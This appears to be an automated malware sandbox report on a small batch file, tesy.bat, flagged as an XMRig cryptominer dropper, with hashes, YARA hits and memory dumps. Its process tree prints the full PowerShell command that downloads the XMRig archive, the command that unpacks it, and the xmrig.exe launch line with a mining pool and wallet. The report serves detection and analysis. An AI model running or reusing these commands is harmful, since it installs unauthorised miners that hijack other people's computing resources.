xmrig | 04cf0194fb37bcc19b2b63904d84a74c720b64b7938620fdf971bb98a8f47ccd

Analysis

max time kernel
170s
max time network
182s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
22/12/2023, 10:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

tesy.bat
Size

608B
MD5

727c8da0478af118c957ae60f7161cab
SHA1

cf18105b8659e93bbd2824fa35ef1bae7b395301
SHA256

97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
SHA512

d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score

10^/10

xmrig miner

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

XMRig Miner payload 13 IoCs

miner

resource	yara_rule
behavioral30/files/0x000800000002322e-59.dat	family_xmrig
behavioral30/files/0x000800000002322e-59.dat	xmrig
behavioral30/memory/960-61-0x00007FF604010000-0x00007FF604B13000-memory.dmp	xmrig
behavioral30/memory/960-63-0x00007FF604010000-0x00007FF604B13000-memory.dmp	xmrig
behavioral30/memory/960-64-0x00007FF604010000-0x00007FF604B13000-memory.dmp	xmrig
behavioral30/memory/960-67-0x00007FF604010000-0x00007FF604B13000-memory.dmp	xmrig
behavioral30/memory/960-68-0x00007FF604010000-0x00007FF604B13000-memory.dmp	xmrig
behavioral30/memory/960-71-0x00007FF604010000-0x00007FF604B13000-memory.dmp	xmrig
behavioral30/memory/960-72-0x00007FF604010000-0x00007FF604B13000-memory.dmp	xmrig
behavioral30/memory/960-73-0x00007FF604010000-0x00007FF604B13000-memory.dmp	xmrig
behavioral30/memory/960-74-0x00007FF604010000-0x00007FF604B13000-memory.dmp	xmrig
behavioral30/memory/960-75-0x00007FF604010000-0x00007FF604B13000-memory.dmp	xmrig
behavioral30/memory/960-76-0x00007FF604010000-0x00007FF604B13000-memory.dmp	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
23	2676	powershell.exe
30	2676	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
960	xmrig.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2676	powershell.exe
2676	powershell.exe
3864	powershell.exe
3864	powershell.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
656	Process not Found

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2676	powershell.exe
Token: SeDebugPrivilege	3864	powershell.exe
Token: SeLockMemoryPrivilege	960	xmrig.exe
Token: SeLockMemoryPrivilege	960	xmrig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
960	xmrig.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4824 wrote to memory of 2676	4824	cmd.exe	88
PID 4824 wrote to memory of 2676	4824	cmd.exe	88
PID 4824 wrote to memory of 3864	4824	cmd.exe	94
PID 4824 wrote to memory of 3864	4824	cmd.exe	94
PID 4824 wrote to memory of 960	4824	cmd.exe	97
PID 4824 wrote to memory of 960	4824	cmd.exe	97

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3864
- C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
  xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:960

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
575fdf5b43f9f75bb0febf86d978644e

SHA1
1b53cdfb153e334366968320c21c3af2d1b6c140

SHA256
7ebbb66800ebe91fa8adfef5638b2e012dd8ac05ab3026f9e5e7183d56203423

SHA512
79c3b9405f0dad79cdd8f6f2701681320fd1d16c4d981e865251170b18d234f89dd0da8b6e6773303580f6f3db75e4dd7e23224e28aedf90e6d16a7465fef505

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_labv1x2d.qpj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

Filesize
2.7MB

MD5
14722210b6caf959ee27b7fcc03efc36

SHA1
adc48b8a198b2d087a5b1c04eaee139f4a41e877

SHA256
0080b7e6bc41756598dc92cbf02560d63df46da933e1de28a751ad5fb013d80f

SHA512
fe3c821d5ccb5348769dadc0b66e13f9dbec23c1754e7b142e7af64b3b54d0832b9621d157809d00eed30e17c93b5f79f2d2c047df103b33843f514d04341734

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

Filesize
1.6MB

MD5
ca3f63749c8684b80680780f2a610cab

SHA1
567f4e99ff24c3b89ec5767d0cffba34f6ec5a8a

SHA256
b7b8cf430ab162d0fab3df444f30914c9620bb17a0d9b7f64915503bbe7550e2

SHA512
997ea44f90f640ceccdd9b653e6f9914c5c5c6633bb59ff6baf1ef4d9570c5ce469a378e2708ed0bbb0284b20e0f98f15798ace46b15b24044edb0fef34730ad

Download Submit
memory/960-71-0x00007FF604010000-0x00007FF604B13000-memory.dmp

Filesize
11.0MB

Download
memory/960-63-0x00007FF604010000-0x00007FF604B13000-memory.dmp

Filesize
11.0MB

Download
memory/960-69-0x000001F5ABB20000-0x000001F5ABB40000-memory.dmp

Filesize
128KB

Download
memory/960-68-0x00007FF604010000-0x00007FF604B13000-memory.dmp

Filesize
11.0MB

Download
memory/960-76-0x00007FF604010000-0x00007FF604B13000-memory.dmp

Filesize
11.0MB

Download
memory/960-75-0x00007FF604010000-0x00007FF604B13000-memory.dmp

Filesize
11.0MB

Download
memory/960-67-0x00007FF604010000-0x00007FF604B13000-memory.dmp

Filesize
11.0MB

Download
memory/960-66-0x000001F5ABB40000-0x000001F5ABB60000-memory.dmp

Filesize
128KB

Download
memory/960-65-0x000001F5ABB20000-0x000001F5ABB40000-memory.dmp

Filesize
128KB

Download
memory/960-70-0x000001F5ABB40000-0x000001F5ABB60000-memory.dmp

Filesize
128KB

Download
memory/960-64-0x00007FF604010000-0x00007FF604B13000-memory.dmp

Filesize
11.0MB

Download
memory/960-73-0x00007FF604010000-0x00007FF604B13000-memory.dmp

Filesize
11.0MB

Download
memory/960-74-0x00007FF604010000-0x00007FF604B13000-memory.dmp

Filesize
11.0MB

Download
memory/960-60-0x000001F5AA0D0000-0x000001F5AA0F0000-memory.dmp

Filesize
128KB

Download
memory/960-61-0x00007FF604010000-0x00007FF604B13000-memory.dmp

Filesize
11.0MB

Download
memory/960-62-0x000001F5AA320000-0x000001F5AA360000-memory.dmp

Filesize
256KB

Download
memory/960-72-0x00007FF604010000-0x00007FF604B13000-memory.dmp

Filesize
11.0MB

Download
memory/2676-17-0x00007FF8A72A0000-0x00007FF8A7D61000-memory.dmp

Filesize
10.8MB

Download
memory/2676-12-0x000001F0FA430000-0x000001F0FA440000-memory.dmp

Filesize
64KB

Download
memory/2676-13-0x000001F0FA430000-0x000001F0FA440000-memory.dmp

Filesize
64KB

Download
memory/2676-9-0x000001F0E2300000-0x000001F0E2322000-memory.dmp

Filesize
136KB

Download
memory/2676-10-0x00007FF8A72A0000-0x00007FF8A7D61000-memory.dmp

Filesize
10.8MB

Download
memory/2676-11-0x000001F0FA430000-0x000001F0FA440000-memory.dmp

Filesize
64KB

Download
memory/3864-20-0x0000018684240000-0x0000018684250000-memory.dmp

Filesize
64KB

Download
memory/3864-57-0x00007FF8A72A0000-0x00007FF8A7D61000-memory.dmp

Filesize
10.8MB

Download
memory/3864-34-0x00000186A02D0000-0x00000186A02DA000-memory.dmp

Filesize
40KB

Download
memory/3864-33-0x00000186A0560000-0x00000186A0572000-memory.dmp

Filesize
72KB

Download
memory/3864-32-0x0000018684240000-0x0000018684250000-memory.dmp

Filesize
64KB

Download
memory/3864-21-0x0000018684240000-0x0000018684250000-memory.dmp

Filesize
64KB

Download
memory/3864-19-0x00007FF8A72A0000-0x00007FF8A7D61000-memory.dmp

Filesize
10.8MB

Download